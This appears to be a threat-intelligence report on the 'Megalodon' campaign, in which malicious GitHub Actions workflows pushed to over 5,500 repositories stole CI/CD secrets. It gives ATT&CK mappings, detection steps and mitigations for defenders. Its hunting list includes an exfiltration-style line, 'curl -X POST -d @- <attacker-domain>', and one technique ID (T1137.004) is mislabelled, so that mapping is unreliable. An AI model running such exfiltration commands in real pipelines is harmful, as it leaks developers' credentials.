Within a six-hour window on May 18, 2026, the threat actor TeamPCP executed a large-scale, automated supply chain attack codenamed "Megalodon." The campaign successfully compromised 5,561 public GitHub repositories by injecting malicious CI/CD workflows. The primary objective was the exfiltration of sensitive secrets and credentials from affected software projects. The attack leveraged compromised developer credentials, likely obtained through infostealer malware. Evidence of destructive wiper malware deployed against targets in Iran and Israel suggests a complex motivation combining financial gain with geopolitical objectives. This incident highlights the critical vulnerability of CI/CD pipelines and the increasing automation used by threat actors to execute attacks at scale.
The Megalodon campaign represents a sophisticated evolution in supply chain attacks. The threat actor, TeamPCP, known for both financially and geopolitically motivated operations, orchestrated the attack with precision and speed. The initial access vector was the compromise of developer GitHub accounts, with analysis indicating a strong correlation to infostealer malware logs. Once access was gained, the attackers pushed 5,718 malicious commits across the 5,561 repositories.
To obscure their actions, the attackers used throwaway GitHub accounts with forged author identities, such as build-bot and ci-bot. The core of the attack was the modification of CI/CD workflow files (e.g., within the .github/workflows/ directory) to include steps that exfiltrated environment variables, secrets, and other credentials to a remote command-and-control (C2) server. The campaign's impact was widespread, affecting open-source projects, cloud infrastructure tools, developer utilities, and cryptocurrency platforms.
The attack chain demonstrates a clear understanding of modern software development practices and their inherent weaknesses.
Initial Access: The campaign began with the compromise of developer accounts. Evidence suggests this was achieved through infostealer malware campaigns targeting developers' machines. This aligns with the MITRE ATT&CK technique T1555 - Credentials from Password Stores.
Execution & Persistence: Using the compromised credentials (T1078 - Valid Accounts), TeamPCP automated the process of pushing malicious commits. They modified CI/CD pipeline configurations, a technique known as T1137.004 - CI/CD Pipeline Modification. This modification acted as a persistence mechanism, ensuring the malicious code would execute whenever the CI/CD pipeline was triggered (e.g., on a new push or pull request).
Exfiltration: The malicious workflows were designed to capture sensitive data. This included API keys, tokens, and other secrets stored in the CI/CD environment. The data was then exfiltrated to an attacker-controlled C2 server, consistent with T1537 - Transfer Data to Cloud Account.
Impact: Beyond data theft, the campaign included a destructive component. In targeted attacks against entities in Iran and Israel, the attackers deployed wiper malware. This use of T1485 - Data Destruction indicates a dual purpose, aiming to cause disruption and damage in addition to espionage or financial gain.
The Megalodon campaign has significant and far-reaching implications. For the 5,561 affected projects, the immediate impact is the potential theft of critical secrets, which could lead to further compromise of production systems, cloud infrastructure, and user data. The reputational damage to these projects, many of which are open-source and rely on community trust, is substantial. The attack's broad targeting across sectors like cloud infrastructure and cryptocurrency means that the stolen credentials could be used to attack a wide array of downstream services and organizations. The geopolitical dimension, with destructive attacks on Iranian and Israeli targets, elevates this from a standard cybercrime event to a hybrid operation with potential nation-state involvement or alignment.
No specific file hashes, IP addresses, or domains were mentioned in the source articles.
Security teams may want to hunt for the following patterns to identify similar CI/CD compromises:
command_line_patterncommand_line_patterncurl -X POST -d @- <attacker-domain>user_account_patternbuild-bot or ci-botfile_path.github/workflows/*.ymlnetwork_traffic_patternDetection of this activity requires a defense-in-depth approach focused on the software development lifecycle.
Log Analysis: Regularly audit GitHub audit logs for suspicious sign-ins, particularly from unusual locations or IP addresses. Analyze CI/CD execution logs for anomalous commands, network connections, or script executions. D3FEND's D3-NTA: Network Traffic Analysis is critical here.
Commit Monitoring: Implement automated scanning of all incoming commits and pull requests to look for suspicious changes, especially in CI/CD configuration files. Check for commits from new or unverified authors.
Secret Scanning: Use tools to scan code repositories and CI/CD logs for inadvertently exposed secrets. This can provide an early warning that credentials have been compromised or are at risk.
Endpoint Detection: Since the initial vector was likely infostealers, a robust EDR solution on developer workstations is crucial for detecting the malware that steals credentials in the first place. This aligns with D3-PA: Process Analysis.
Organizations should implement the following controls to defend against such supply chain attacks:
Enforce Multi-Factor Authentication (MFA): Mandate MFA for all developer accounts on platforms like GitHub. This is the single most effective control against credential compromise. See M1032 - Multi-factor Authentication.
Implement Principle of Least Privilege: CI/CD jobs should only have access to the secrets they absolutely require to function. Avoid using long-lived, overly permissive tokens. Use short-lived credentials where possible.
Require Signed Commits: Enforce policies that require developers to sign their commits with GPG keys. This makes it much harder for an attacker with stolen credentials to impersonate a developer. This relates to M1045 - Code Signing.
Harden CI/CD Pipelines: Implement branch protection rules to require reviews for any changes to workflow files. Use third-party GitHub Apps that can scan and validate CI/CD workflows for malicious patterns before they are run. This is a form of D3FEND's D3-ACH: Application Configuration Hardening.
New details reveal the Megalodon attack leveraged fake pull requests to inject malicious GitHub Actions workflows, compromising over 5,500 repositories.
Enforcing MFA on developer accounts prevents attackers from using stolen credentials to access GitHub.
Applying the principle of least privilege to CI/CD pipelines ensures that even if compromised, the blast radius is limited.
Requiring signed commits makes it significantly harder for an attacker to impersonate a legitimate developer.
Regularly auditing GitHub and CI/CD logs for suspicious activity can help detect compromises early.
Hardening CI/CD configurations, such as using branch protection rules for workflow files, can prevent unauthorized modifications.
The Megalodon attack campaign was executed within a six-hour window, compromising 5,561 GitHub repositories.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.